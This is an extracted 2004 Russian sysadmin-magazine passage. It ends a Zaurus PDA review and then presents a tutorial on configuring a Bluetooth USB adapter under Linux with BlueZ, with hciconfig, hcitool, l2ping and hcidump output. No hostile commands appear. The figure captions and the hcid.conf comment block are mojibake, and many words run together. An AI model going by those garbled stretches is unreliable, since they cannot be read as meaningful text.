В заключение хотелось бы сказать, что общение с уст-ройством оставляет двоякое впечатление. С одной сторо-ны, богатые возможности программного и аппаратногообеспечения, а с другой стороны, частая необходимость«доводки напильником» самого необходимого софта, о воз-можных проблемах которых не задумываются пользовате-ли других платформ. Наиболее типичный пример – руси-фикация ICQ. Учитывая нетривиальность решения многихпроблем и необходимость обращаться к консоли, я бы могпорекомендовать данный КПК исключительно IT-специали-стам, для которых Zaurus в сочетании с WiFi- или Ethernet-адаптером может стать незаменимым инструментом.

В следующем номере журнала я расскажу об особенно-стях установки софта на Zaurus и подводных камнях, с ко-торыми может столкнуться пользователь.

При первом же знакомстве с КПК Zaurus SL-С860 и впроцессе подготовке данной статьи большим подспорьем дляменя оказались материалы с форумов zaurususergroup.comи www.hpc.ru, без использования которых процесс знаком-ства со спецификой «карманного» Linux затянулся бы нагораздо более длительный срок. С темами этих форумов яв первую очередь рекомендую ознакомиться читателям, за-думавшимся о приобретении или уже купившим этот заме-чательный гаджет.

$ uname -a

Linux zaurus 2.4.18-rmk7-pxa3-embedix #1,

11 2003 00:01:53 +0000 armv5tel unknown

Ðèñóíîê 5. HancomWord

mount -o remount,rw /

Ðèñóíîê 6. Ñåòü

Page 22: 023 Системный Администратор 10 2004

20

администрирование

Некоторое время назад у меня возникла необходимость повыходным дням наведываться через Интернет в локальнуюсеть моего работодателя. Казалось бы, решение вопросабанально. Купить простенький модем, присоединить его ксвоей домашней телефонной линии и с помощью обычно-го десктопа делать то, что нужно. Но душа просила чего-тоболее удобного и мобильного. И тогда было решено подру-жить между собой мои служебные железки – ноутбукSamsung p25 и мобильный телефон Nokia 6310i. Побродивпо просторам сети и посмотрев, как народ решает подоб-ные проблемы, я уже было подумал купить себе соедини-тельный кабель Nokia, прицепить его к последовательномупорту и через него работать с GSM-модемом, встроеннымв телефон. Но потом в голову стали приходить мысли о том,что фирменный соединительный кабель, в отличие от ки-тайских подделок, – штука дорогая, к тому же при сменемодели телефона кабель становится для меня совершеннобесполезен. Поэтому пришлось перейти ко второму вари-анту подключения – к использованию инфракрасной связиIrDA (Infrared Direct Access). Благо соответствующий функ-ционал был встроен и в телефон, и в ноутбук. Но и тут необошлось без недостатков. Во-первых, существует ограни-чение по радиусу действия. Во-вторых, устойчивое взаи-модействие устройств возможно только в зоне прямой ви-димости, что не очень легко выполнить на рабочем столе,заваленном книгами и распечатками. К тому же глазки IrDA-излучателей должны быть направлены строго друг на дру-га и при этом желательно, чтобы приборы не двигались.Следовать этим требованиям, конечно, возможно, но ужслишком неудобно себя чувствуешь, да и мобильность ка-кая-то ненастоящая получается.

Немного подумав, я пришел к выводу, что самым луч-шим выходом из сложившейся ситуации будет использова-ние Bluetooth. Телефон был готов к такому применению, авот с ноутбуком вышла промашка. На его корпусе среди

прочих полезных сведений о комплектации виднелась над-пись, поначалу внушившая надежду: «Поддержка MemoryStick Slot и Bluetooth». А еще ниже мелким шрифтом зна-чилось «опция», и, как всегда, эта загадочная дама состранным именем обошла нас своей благосклонностью.Итак, решено: будем покупать Bluetooth USB адаптер, ванглоязычной документации называемый Bluetooth USBdongle, а в просторечии «синий свисток». В связи с тем,что на ноутбуке установлены две операционные системы,встает вопрос, какой именно адаптер покупать. С Windowsпроблем, скорее всего, не будет, потому как большинствопроизводителей оборудования затачивает свои изделияименно под эту ОС. А вот с Linux крепкой дружбы никтоне обещал. Список оборудования, которое удалось заста-вить нормально работать под Linux, можно посмотреть тут:http://www.holtmann.org/linux/bluetooth/devices.html. В на-шем случае особое внимание стоит уделить разделу«Bluetooth USB adapters». Проанализировав прочитанное,пришел к выводу, что самой выгодной покупкой по соот-ношению цена-качество будет адаптер BT009X, произво-димый тайваньской фирмой Bluetake Technology. Куплен-ное устройство выглядело изящно, миниатюрно и весилопримерно грамм 50. Не удержавшись, конечно разобралего, посмотрел, что внутри.

АНДРЕЙ БЕШКОВ

BLUETOOTH + LINUX, ИЛИ СИНИЙ ЗУБНА СЛУЖБЕ CИСТЕМНОГО АДМИНИСТРАТОРА

Page 23: 023 Системный Администратор 10 2004

21№10(23), октябрь 2004

администрирование

Удовлетворив любопытство, самое время вернуться кпредмету нашего разговора.

История появления Bluetoothи механизмы его действияНачалось все примерно тысячу лет назад. В середине X векаДанией правил король – викинг Гарольд I по прозвищу Си-ний зуб. Он провозгласил девиз «объединяйтесь все» исобственноручно стал осуществлять его. Благодаря стара-ниям короля множество разрозненных княжеств объедини-лись в сильное государство, завладевшее к тому же час-тью земель Швеции и Норвегии.

В 1994 году компания Ericsson задалась целью приду-мать способ соединения различных устройств с помощьюбеспроводной связи. К началу 1997 года разработки, веду-щиеся внутри фирмы, начали приносить первые результа-ты. Было принято решение о начале переговоров с осталь-ными крупными производителями телекоммуникационно-го оборудования. Весной 1998 года компании Intel, IBM,Nokia, Ericsson и Toshiba объявили о начале совместныхработ по созданию универсального стандарта коммуника-ций для бытовых устройств. В честь доблестного короля –объединителя викингов стандарт решено было назватьBluetooth, а само содружество рабочих групп компаний по-лучило обозначение Bluetooth Special Interest Group (BSIG).Постепенно принять участие в начинании и присоединить-ся к BSIG решили Lucent, Motorola, Sun Microsystems, 3Com,Agere, Microsoft и многие другие производители разнород-ного оборудования и программного обеспечения. На дан-ный момент ассоциация разработчиков Bluetooth насчиты-вает более двух тысяч компаний разного масштаба и не-сколько десятков тысяч волонтеров, принимающих участиев работе над проектом.

В сущности идея проекта довольно проста: необходимостандартизировать механизмы соединения всех видов со-товых телефонов, компьютеров, наладонников, гарнитурhands-free и прочего движимого и недвижимого оборудо-вания. Добиться этого можно, если отделить механизмыреализации связи между устройствами от самих устройств.Пусть проблемами общения занимаются миниатюрные ра-диоинтерфейсы, встроенные в каждый прибор. Они рабо-тают на частоте 2,45 ГГц ISM (Industrial-Scientific-Medical).В большинстве стран для вещания в этом диапазоне не тре-буется дополнительного лицензирования. Исключениемявляются Франция, Испания и Япония. Диапазон частот от2,402 ГГц до 2,480 ГГц разбивается на 79 каналов разме-ром в 1 МГц. Для уменьшения помех от внешних устройстввроде СВЧ-печей и повышения безопасности 1600 раз всекунду происходит псевдослучайный выбор одного из ка-налов. Отправка данных происходит уже с новым значени-ем базовой частоты, взятым из выбранного интервала. Та-ким образом, получается, что приемник и передатчик синх-ронно переключают каналы связи. В англоязычной литера-туре это явление называется Frequency Hopping.

На данный момент существуют два основных подвидаbluetooth-устройств. Отличаются они только дальностьюдействия. Большинство имеют зону уверенного приемасигнала радиусом в 10 метров. Хотя некоторые экземпля-ры обладают усилителем сигнала и способны взаимодей-ствовать друг с другом на расстоянии 100 метров при ус-ловии, что все это будет происходить на открытой мест-ности.

Еще одним интересным свойством такого способа об-щения является возможность спонтанного1 объединениянескольких bluetooth-устройств в своеобразную динами-ческую локальную мини-сеть, называемую piconet. Давай-те разберемся, как это реализовано на практике. Устрой-ства, не присоединенные ни к одному piconet, находятся врежиме Standby и каждые 1,28 секунды слушают эфир на32 зарезервированных для этого частотах. Как только онивходят в зону устойчивой взаимной слышимости с другимустройством, одно из устройств принимает на себя гла-венствующую роль и начинает отсылать в эфир пакетыInquiry. После отправки 16 пакетов по одному на каждуючастоту наступает пауза, в течение которой должны прий-ти ответы от подчиненных устройств. Если никто не ото-звался, то проверяются оставшиеся 16 частот. Обнаруже-ние активных устройств зависит от того, в каком режимеони находятся:! Non-discoverable – не отвечает на запросы о присоеди-

нении к piconet.! Limited discoverable – в этом режиме находятся устрой-

ства, которые отвечают на запрос только в определен-ное время или при соблюдении некоторых условий.

! Discoverable mode – отвечает на все полученные запро-сы.

На самом деле все обстоит еще сложнее. Вдобавок длятого, чтобы присоединение к сети состоялось, устройстводолжно работать в режиме connectable. Если же оно нахо-дится в режиме non-connectable, то соседям, скорее всего,удастся его обнаружить, но обмениваться данными с нимбудет невозможно.

В случае если все необходимые формальности соблю-дены, устройство, инициировавшее обмен пакетами, ста-новится ведущим (Master), а остальные принимают рольведомых (Slave). При необходимости любое из ведомыхустройств может запросить смену роли и стать мастеромвзамен прежнего лидера. В момент присоединения кpiconet каждое Slave-устройство получает от мастера FHS-пакет, в котором содержится Global_ID, используемый дляопределения номера шаблона прыжков по частотному ди-апазону и параметр clock, указывающий смещение внут-ри этого самого шаблона. Войдя в piconet, ведомое уст-ройство получает трехбитный адрес AMA (Active MemberAdress), тем самым показывая, что оно готово к общениюс соседями. Мастер-устройство всегда имеет адрес 0. Спомощью трех бит возможно адресовать не более восьмиустройств, таким образом, получается, что внутри piconet

1 Находящиеся рядом устройства слушают эфир и периодически «засыпают», затем снова «просыпаются» и пыта-ются найти соседей. Поэтому точно до миллисекунды сказать, когда произойдет соединение, не представляетсявозможным.

Page 24: 023 Системный Администратор 10 2004

22

администрирование

будут одновременно разговаривать только мастер и се-меро подчиненных. Из-за этого в русскоязычных статьяхо bluetooth укоренилось одно из распространенных заб-луждений, гласящее, что в piconet не может быть болеевосьми устройств. Давайте посмотрим, почему это не со-ответствует действительности. При входе в piconet девя-того устройства мастер принудительно переводит одногоиз подчиненных в режим Park и отбирает у него адрес AMA,выдавая взамен восьми-битный адрес PMA (Passive MemberAdress). Освободившийся AMA-адрес отдается вновь при-бывшему. Припаркованные устройства продолжают пери-одически прослушивать эфир в надежде услышать инфор-мацию, адресованную им. В случае если устройство с PMA-адресом хочет что-то сказать, ему приходится спроситьразрешения у мастера, получить отобранный у кого-тодругого AMA-адрес и только после этого начать переда-вать данные. Комбинация из AMA- и PMA-адресов позво-ляет иметь в одном piconet 256 устройств, из которых лишь8 активно передают данные. Для экономии энергии мастерможет перевести любое из подчиненных устройств в режи-мы Hold или Sniff, тем самым говоря: «Просыпайся каждыеn интервалов». Разница между ними состоит в том, что врежиме Hold устройство должно молчать между пробужде-ниями, а в режиме Sniff в случае необходимости оно можетпередавать данные. В то же время само управляемое уст-ройство может запросить перевод в любой из вышеупомя-нутых режимов.

Мини-сети легко могут сообщаться между собой черезустройства, находящиеся в зоне действия двух и более се-тей. Таким образом, они объединяются в структуры, назы-ваемые Scatternet. Стоит отметить тот факт, что устройствоможет быть мастером лишь в одном piconet, но это не ме-шает ему входить в другой piconet в роли подчиненного.Примерную схему Scatternet, состоящую из трех piconet,можно увидеть на следующем рисунке.

Разобравшись с тем, как строятся взаимоотношенияbluetooth-устройств на самом нижнем уровне, давайте по-смотрим, как реализован стек протоколов.

Все базируется на радиочастотных каналах, о которыхмы говорили выше по тексту, RF (Radio Frequnce). Канала-ми управляет аппаратура Baseband. Выше находится LinkManager, реализующий протокол LMP (Link Manager Protocol).В его задачи входит управление каналом и реализация про-цедур безопасности на физическом уровне. Следующим виерархии числится L2CAP (Logical Link Control and AdaptationLayer Protocol). Он является базовым транспортным прото-колом передачи данных. Большинство вышестоящих про-токолов пользуются его услугами для приема и отправкипакетов. Основные свойства L2CAP, на которые стоит об-ратить внимание:! Protocol Multiplexing – позволяет определить, кому из про-

токолов верхнего уровня предназначены те или иныепакеты.

! Segmentation and Reassembly – максимальный размерпакета L2CAP установлен в 64 кб, а Baseband опериру-ет пакетами размером в 341 байт. Поэтому L2CAP от-правителя обязан создавать из больших пакетов пос-ледовательность мелких, а получатель в свою очередьдолжен склеивать их по мере поступления.

! QOS – позволяет гарантировать, что ширина полосы ивременные задержки для важного трафика не достиг-нут критических пределов.

Перейдем к протоколам верхнего уровня. Думаю, с TCP/IPвсе ясно. Протокол HID реализует взаимодействие с уст-ройствами Human Interface Design. К устройствам такоготипа принадлежат модификации клавиатур, мышей и про-чего оборудования, с которым напрямую взаимодействую-ет человек. RFCOMM эмулирует соединение точка-точка че-рез интерфейс стандартного последовательного COM-пор-та, передавая данные поверх L2CAP. Следующим интерес-ным для нас протоколом является SDP (Service DiscoveryProtocol). В его обязанности входит выполнение следующихдействий:! Поиск и выбор сервисов, предоставляемых другими ус-

тройствами по специальным критериям.! Поиск сервисов по классам. К примеру, если нам нужно

найти устройство, предоставляющее сервис Dial-upnetworking, то поиск должен вернуть нам имена толькотех устройств, внутри которых есть модем.

Page 25: 023 Системный Администратор 10 2004

23№10(23), октябрь 2004

администрирование

! Поддерживать базу данных доступных служб в актуаль-ном состоянии.

Еще одним объектом, заслуживающим нашего вниманияявляется HCI (Host Controller Interface). Он представляет со-бой командный интерфейс к контроллеру baseband и слою,реализующему Link Manager. С его помощью можно узна-вать и изменять состояние контрольных регистров bluetooth-устройств. Закончив с протоколами верхнего уровня, хоте-лось бы поговорить о службе audio, часто называемойbluetooth voice. С ее помощью могут одновременно переда-ваться три голосовых потока. Характеристики каждого из нихопределяются приложением, передающим данные. Макси-мальное возможное качество звука достигается при часто-те дискретизации в 48 кГц. На схеме от компонента audioне зря исходят две стрелки. Дело в том, что звук может пе-редаваться либо напрямую через Baseband, либо, как и всеостальные данные, через L2CAP. Конечно, в случае пере-дачи голоса через L2CAP устройство получает меньше воз-можностей управлять голосовым трафиком, но такой под-ход позволяет легко стыковать bluetooth- и не bluetooth-сети.Плюс ко всему появляется возможность шифровать голо-совой трафик алгоритмами повышенной стойкости.

Раз уж зашел разговор о шифровании, стоит погово-рить о системе безопасности, применяемой в устройствахbluetooth. Технология защиты данных изначально встроенав протокол. В зависимости от ценности передаваемых дан-ных можно применять один из трех режимов безопасности.! Security mode 1 (non secure) – устройство не иницииру-

ет никаких защитных процедур и полностью открыто дляобщения.

! Security mode 2 (service level enforced security) – защит-ные процедуры выполняются только после установле-ния и настройки параметров соединения. Требованиябезопасности в данном случае определяют службы, пе-редающие трафик.

! Security mode 3 (link level enforced security) – защита ини-циализируется в процессе установления и настройки со-единения. В случае если второе устройство не можетвыполнить требования безопасности, соединение бес-прекословно разрывается.

Стоит обратить внимание на то, что второй и третийрежимы можно комбинировать, обеспечивая повышеннуюбезопасность соединения. Получается, что сначала уста-навливается защищенное соединение, а затем данные,передаваемые по нему, шифруются в соответствии с тре-бованиями сервисов отправителя и получателя.

Краеугольным камнем системы безопасности bluetoothявляется сеансный ключ. Он создается в момент соедине-ния и впоследствии используется для шифрования и иден-тификации всего передаваемого трафика. Впрочем, никтоне мешает дополнительно шифровать трафик на уровнеприложений.

Несмотря на попытку рассказывать только о ключевыхмоментах, оставляя несущественные подробности за бор-том, я, признаться, немного устал излагать теорию работыbluetooth. Посему предлагаю сейчас же перейти к практи-ческому применению полученных знаний.

Bluetooth + Linux на практикеЧтобы система смогла увидеть наше usb bluetooth-устрой-ство, первым делом убеждаемся, что мы работаем на дос-таточно свежем ядре. У меня используется ALT Linux, вер-сия ядра 2.4.26-std-up-alt6. Давайте посмотрим, какой типконтроллера USB у нас установлен.

Судя по выводу, у нас есть UHCI- и EHCI-контроллерыUSB. Проверяем, что написано про USB в /etc/modules, сре-ди всего прочего там должны быть строки:

А в файле /etc/modules.conf нужно найти следующеесочетание символов:

Теперь необходимо убедиться в том, что все модули,необходимые для поддержки USB, загружены в память.

Если это не так, то следует перезагрузить систему, что-бы загрузка нужных модулей прошла автоматически на ос-нове содержимого файлов /etc/modules и /etc/modules.conf,либо загрузить модули вручную с помощью команды insmod.

Подробнее почитать о реализации USB в Linux можно встатье Виктора Костромина http://vikos.lrn.ru//kos.php?name=papers/usb/USB-Lin.html и, конечно же, на сайте www.linux-usb.org.

Тут нужно сделать маленькое отступление. Дело в том,на свете существует несколько реализаций стека протоко-лов bluetooth. Самые распространенные из них – это OpenBT,первоначально созданный фирмой Axis: http://developer.axis.com/software/bluetooth и Bluez – детище Qualcom http://

# lspci

00:00.0 Host bridge: Intel Corp. 82845 845 (Brookdale)

Chipset Host Bridge (rev 04)

00:01.0 PCI bridge: Intel Corp. 82845 845 (Brookdale)

Chipset AGP Bridge (rev 04)

00:1d.0 USB Controller: Intel Corp. 82801DB (ICH4) USB UHCI #1 (rev 03)

00:1d.1 USB Controller: Intel Corp. 82801DB (ICH4) USB UHCI #2 (rev 03)

00:1d.2 USB Controller: Intel Corp. 82801DB (ICH4) USB UHCI #3 (rev 03)

00:1d.7 USB Controller: Intel Corp. 82801DB (ICH4)

USB2 EHCI Controller (rev 03)

00:1e.0 PCI bridge: Intel Corp. 82801BAM/CAM PCI Bridge (rev 83)

00:1f.0 ISA bridge: Intel Corp. 82801DBM LPC Interface Controller (rev 03)

00:1f.1 IDE interface: Intel Corp. 82801DBM (ICH4)

Ultra ATA Storage Controller (rev 03)

00:1f.3 SMBus: Intel Corp. 82801DB/DBM (ICH4)

SMBus Controller (rev 03)

00:1f.5 Multimedia audio controller: Intel Corp. 82801DB (ICH4)

AC'97 Audio Controller (rev 03)

00:1f.6 Modem: Intel Corp. 82801DB (ICH4)

AC'97 Modem Controller (rev 03)

01:00.0 VGA compatible controller: ATI Technologies Inc

Radeon R250 Lf [Radeon Mobility 9000 M9] (rev 02)

02:03.0 CardBus bridge: Ricoh Co Ltd RL5c475 (rev b8)

02:03.1 FireWire (IEEE 1394): Ricoh Co Ltd R5C551 IEEE 1394 Controller

02:07.0 CardBus bridge: Texas Instruments PCI1410

PC card Cardbus Controller (rev 01)

02:08.0 Ethernet controller: Intel Corp. 82801BD PRO/100 VE (LOM)

Ethernet Controller (rev 83)

usbcoreusb-uhci

alias usb-interface usb-uhci

lsmod | grep usb

hci_usb 8600 1

usb-storage 139744 0

usb-uhci 21676 0 (unused)

usbcore 58464 1 [hci_usb ehci-hcd usb-storage usb-uhci]

scsi_mod 95296 5 [sg sr_mod sd_mod usb-storage ide-scsi]

Page 26: 023 Системный Администратор 10 2004

24

администрирование

bluez.sourceforge.net. Оба поставляются вместе с исходни-ками. Некоторое время назад безусловным лидером являл-ся OpenBT, потому что его реализация на тот момент быланадежнее и проще. Да и возможности работы с BCSP быливесьма мощные. Но по мере дозревания Bluez стал дого-нять, а затем и превзошел OpenBT по всем показателям.Отдельного упоминания стоит удобство и гибкость исполь-зования PAN (Personal Area Network). К тому же Bluez по-зволяет легко работать с протоколом OBEX поверх RFCOMM.В деле популяризации Bluez не последнюю роль сыграл тотфакт, что он по умолчанию включен во все новые ядра Linux.К тому же алгоритмы работы с RFCOMM у Bluez оказалисьнаписаны на редкость удачно, что позволило создаватьвесьма гибкие решения.

Также стоит упомянуть, что в природе существуют про-граммные комплексы BlueDrekar от IBM: http://www.alphaWorks.ibm.com/tech/bluedrekar и Affix от Nokia http://affix.sourceforge.net/. Внутри первого из них встроена полноцен-ная реализация bluetooth, но, к сожалению, исходных тек-стов этого продукта никто не видел. А вот вторая разра-ботка, изначально развивавшаяся под эгидой компанииNokia, на данный момент является типичным OpenSource.

Приняв во внимание все вышеизложенные факты, де-лаем однозначный вывод. Для работы с нашими bluetooth-устройствами удобнее всего будет использовать Bluez.

Настало время установить пакеты, необходимые дляработы bluetooth.

Смотрим, что добавилось в /etc/modules.conf:

Перезагружаем машину, чтобы проверить, как автома-тически загружаются модули bluez. Конечно, можно былозагрузить их вручную с помощью modprobe и imsmod, номне больше нравится, чтобы все делалось автоматически.После окончания загрузки системы проверяем, как себячувствует модуль bluez.

Затем вставляем bluetooth-адаптер в разъем USB. Вфайле /var/log/messages и на двенадцатой консоли должныпоявиться следующие сообщения:

Стоит отметить, что каждое bluetooth-устройство имеетуникальный шестизначный адрес, в дальнейшем называе-мый BD (Bluetooth Device)-адрес. Больше все это похоже наMAC-адреса обычных сетевых карт.

Проверяем, как система видит наш USB-адаптер.

Надпись «DOWN» и BD-адрес, полный нолей, говорят отом, что в системе не запущен демон hcid (Bluetooth HostController Interface Daemon). Поведение демона определя-ется настройками, обычно находящимися в файле /etc/bluetooth/hcid.conf. Давайте посмотрим, как выглядит содер-жимое этого файла, и разберемся, что именно означаеткаждая опция. Файл /etc/bluetooth/hcid.conf:

options {# Àâòîìàòè÷åñêè èíèöèàëèçèðîâàòü íîâûå óñòðîéñòâà#autoinit yes;# Íàñòðîéêè ìåíåäæåðà áåçîïàñíîñòè:# none � ìåíåäæåð îòêëþ÷åí;# auto � ïðè ïîëó÷åíèè âõîäÿùåãî ñîåäèíåíèÿ çàïðàøèâàòü# PIN-êîä;# user � çàïðàøèâàòü PIN-êîä âñåõ ñîåäèíåíèé# áåç èñêëþ÷åíèÿ#security auto;# Íàñòðîéêè ñîåäèíåíèÿ â ïàðó:# none � ñîåäèíåíèå îòêëþ÷åíî;# multi � ðàçðåøåíèå ñîçäàâàòü ïàðó ñ òåìè óñòðîéñòâàìè,# êîòîðûå óæå ñîñòîÿò â äðóãèõ ïàðàõ;# once � ïðîèçâîäèòü ïîïûòêó ñîåäèíåíèÿ òîëüêî îäèí ðàç#pairing multi;# Ïðîãðàììà, ïðèíèìàþùàÿ PIN-êîä îò ïîëüçîâàòåëÿ è# ïåðåäàþùàÿ åãî óäàëåííîìó bluetooth-óñòðîéñòâó,# îáû÷íî íàçûâàåòñÿ pin_helper.#pin_helper /usr/bin/bluepin;# Èìÿ ïðîãðàììû, âûäàþùåé PIN äëÿ ðåæèìà D-Bus,# êàê âèäèòå, â íàøåì ñëó÷àå îíà íå èñïîëüçóåòñÿ##dbus_pin_helper;

}# Íàñòðîéêè ïî óìîë÷àíèþ äëÿ âñåõ HCI-óñòðîéñòâdevice {

# Èìÿ ëîêàëüíîãî bluetooth-óñòðîéñòâà â ïðèíöèïå ìîæåò# áûòü ëþáûì, õîòÿ, êîíå÷íî, ëó÷øå âïèñàòü ÷òî-òî# îñìûñëåííîå.  êà÷åñòâå íåîáÿçàòåëüíîãî äîïîëíåíèÿ# ìîæíî âïèñàòü â òåêñò èìåíè ñèìâîëû ïîäñòàíîâêè.# %d � id óñòðîéñòâà# %h � èìÿ õîñòà# Íàïðèìåð, òàêàÿ çàïèñü name "Bluetooth (%h)" â ìîåé# ñèñòåìå ñîçäàñò èìÿ óñòðîéñòâà «Bluetooth tiger».#  ñëó÷àå åñëè èìÿ õîñòà ñëèøêîì äëèííîå, ïîäñòàíîâêà# ìîæåò íå ïðîèçâîäèòüñÿ. Ñîîòâåòñòâåííî, ïîëó÷èì ïðîñòî# «Bluetooth».#name "tigroid";# Êëàññ ëîêàëüíîãî óñòðîéñòâà.# 0x100 îáîçíà÷àåò êîìïüþòåð.

2 Подробнее о типах пакетов можно прочитать здесь: http://www.winlab.rutgers.edu/~pravin/publications/papers/Mobicom-handout.pdf и http://www.cs.ucla.edu/NRL/wireless/uploads/04_ICC_APT.pdf.

# apt-get install libbluez libbluez-devel ↵↵↵↵↵bluez-hciemu bluez-hcidump bluez-utils

alias net-pf-31 bluez

alias bt-proto-0 l2cap

alias bt-proto-2 sco

# lsmod | grep bluez

bluez 30116 1 [hci_usb]

Sep 28 21:23:19 tiger kernel: hub.c: new USB device 00:1d.0-1,

assigned address 2

Sep 28 21:23:24 tiger kernel: BlueZ Core ver 2.3

Copyright (C) 2000,2001 Qualcomm Inc

Sep 28 21:23:24 tiger kernel: Written 2000,2001

by Maxim Krasnyansky <[email protected]>

Sep 28 21:23:24 tiger kernel: BlueZ HCI USB driver ver 2.5

Copyright (C) 2000,2001 Qualcomm Inc

Sep 28 21:23:24 tiger kernel: Written 2000,2001

by Maxim Krasnyansky <[email protected]>

Sep 28 21:23:24 tiger kernel: usb.c: registered new driver hci_usb

# hciconfig -a

hci0: Type: USB

BD Address: 00:00:00:00:00:00 ACL MTU: 0:0 SCO MTU: 0:0

DOWN

RX bytes:0 acl:0 sco:0 events:0 errors:0

TX bytes:0 acl:0 sco:0 commands:0 errors:0

Features: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

Packet type: DM1 DH1 HV1

Link policy:

Link mode: SLAVE ACCEPT

Page 27: 023 Системный Администратор 10 2004

25№10(23), октябрь 2004

администрирование

Закончив изучение настроек, запускаем демон hcid исмотрим, как изменились характеристики USB bluetooth-адаптера.

Судя по выводу, все идет как надо. Локальное bluetooth-устройство получило BD-адрес 00:0A:3A:53:36:41. Давайтетеперь поищем удаленные bluetooth-устройства. Для этоговключаем bluetooth на телефоне.

Указанием на то, что телефон включил bluetooth, мож-но считать появление в верхнем левом углу дисплея знач-ка, изображающего радиоволны.

С помощью утилиты hcitool начинаем сканирование ок-ружающего пространства.

Наш телефон благополучно нашелся. Теперь мы знаем,что его BD-адрес 00:02:EE:B6:6A:E5. В дальнейшем мы будемобращаться к нему именно по этому адресу. Проверим, на-сколько надежно работает передача пакетов между двумяустройствами. Для этого воспользуемся программой l2ping.

Теперь посмотрим дополнительную информацию об уда-ленном устройстве.

В комплект программ, предназначенных для работы сHCI, входит еще одна полезная программа, hcidump. Думаю,по ее названию вы смогли догадаться, что перед нами ути-лита для прослушивания трафика, проходящего через HCI-интерфейсы. Эта программа становится особенно полез-ной в ситуациях, когда не удается подружить два bluetooth-устройства. К примеру, давайте посмотрим, какие данныепроходят через используемый нами интерфейс hci0 во вре-мя выполнения команды hcitool info. Для этого на одной кон-соли запускаем hcidump, а на второй снова выполняем ко-манду hcitool info.

#class 0x100;# Òèï ïàêåòîâ ïî óìîë÷àíèþ.# Îáû÷íî ðàçðåøåíû âñå âîçìîæíûå òèïû2.# DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3#pkt_type DH1, DM1, HV1;# Ðàçðåøåíèå íà ñêàíèðîâàíèå óñòðîéñòâ ìåòîäàìè Inquiry# è Page#iscan enable;pscan enable;# Ðåæèì ñîåäèíåíèÿ ïî óìîë÷àíèþ# none � íå èñïîëüçîâàòü íèêàêèõ ïîëèòèê äëÿ ñîåäèíåíèÿ# accept � âñåãäà ïðèíèìàòü âõîäÿùèå ñîåäèíåíèÿ# master � áðàòü íà ñåáÿ ðîëü âåäóùåãî óñòðîéñòâà ïðè# ïîëó÷åíèè âõîäÿùåãî ñîåäèíåíèÿ, è çàïðåùàòü ñìåíó# ðîëåé äëÿ èñõîäÿùèõ ñîåäèíåíèé.#lm accept, master;# Ïîëèòèêà ñîåäèíåíèÿ ïî óìîë÷àíèþ# none � íå èñïîëüçîâàòü íèêàêèõ ïîëèòèê äëÿ ñîåäèíåíèÿ# rswitch � ðàçðåøèòü ñìåíó ðîëåé# hold � ðàçðåøèòü ðåæèì hold# sniff � ðàçðåøèòü ðåæèì sniff# park � ðàçðåøèòü ïàðêîâêó#lp rswitch, hold, sniff, park;# Àóòåíòèôèêàöèÿ è øèôðîâàíèåauth enable;encrypt enable;

}

# hcid

# hciconfig -a

hci0: Type: USB

BD Address: 00:0A:3A:53:36:41 ACL MTU: 192:8 SCO MTU: 64:8

UP RUNNING PSCAN ISCAN AUTH ENCRYPT

RX bytes:2947 acl:80 sco:0 events:149 errors:0

TX bytes:2610 acl:59 sco:0 commands:61 errors:0

Features: 0xff 0xff 0x0b 0x00 0x00 0x00 0x00 0x00

Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3

Link policy: RSWITCH

Link mode: SLAVE ACCEPT

Name: 'tigroid'

Class: 0x000100

Service Classes: Unspecified

Device Class: Computer, Uncategorized

HCI Ver: 1.1 (0x1) HCI Rev: 0x20d LMP Ver: 1.1 (0x1) LMP Subver: 0x20d

Manufacturer: Cambridge Silicon Radio (10)

# hcitool scan

Scanning ...

00:02:EE:B6:6A:E5 Nokia 6310i

# l2ping 00:02:EE:B6:6A:E5

Ping: 00:02:EE:B6:6A:E5 from 00:0A:3A:53:36:41 (data size 20) ...

0 bytes from 00:02:EE:B6:6A:E5 id 200 time 31.69ms

0 bytes from 00:02:EE:B6:6A:E5 id 201 time 39.49ms

0 bytes from 00:02:EE:B6:6A:E5 id 202 time 30.31ms

0 bytes from 00:02:EE:B6:6A:E5 id 203 time 34.12ms

4 sent, 4 received, 0% loss

# hcitool info 00:02:EE:B6:6A:E5

Requesting information ...

BD Address: 00:02:EE:B6:6A:E5

Device Name: Nokia 6310i

LMP Version: 1.1 (0x1) LMP Subversion: 0x22c

Manufacturer: Nokia Mobile Phones (1)

Features: 0xbf 0x28 0x21 0x00 0x00 0x00 0x00 0x00

<3-slot packets> <5-slot packets> <encryption> <slot offset>

<timing accuracy> <role switch> <sniff mode> <SCO link>

<HV3 packets> <CVSD>Õ

# hcidump –i hci0 -X

HCIDump - HCI packet analyzer ver 1.12

device: hci0 snap_len: 1028 filter: 0xffffffff

> HCI Event: Command Status (0x0f) plen 4

0000: 00 01 05 04 ....

> HCI Event: Command Complete (0x0e) plen 10

0000: 01 0b 04 00 e5 6a b6 ee 02 00 .....j....

> HCI Event: Connect Complete (0x03) plen 11

0000: 00 29 00 e5 6a b6 ee 02 00 01 01 .)..j......

> HCI Event: Command Complete (0x0e) plen 6

0000: 01 0d 08 00 29 00 ....).

> HCI Event: Command Status (0x0f) plen 4

0000: 00 01 19 04 ....

> HCI Event: Remote Name Req Complete (0x07) plen 255

0000: 00 e5 6a b6 ee 02 00 4e 6f 6b 69 61 20 36 33 31 ..j....Nokia 631

0010: 30 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0i..............

0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

Page 28: 023 Системный Администратор 10 2004

26

администрирование

С помощью ключа –i можно указать, какой именно ин-терфейс нужно прослушивать. В нашем случае это hci0.Делать это необходимо только в системах с двумя и болееhci-интерфейсами. В противном случае hcidump будет про-слушивать первый по порядку интерфейс.

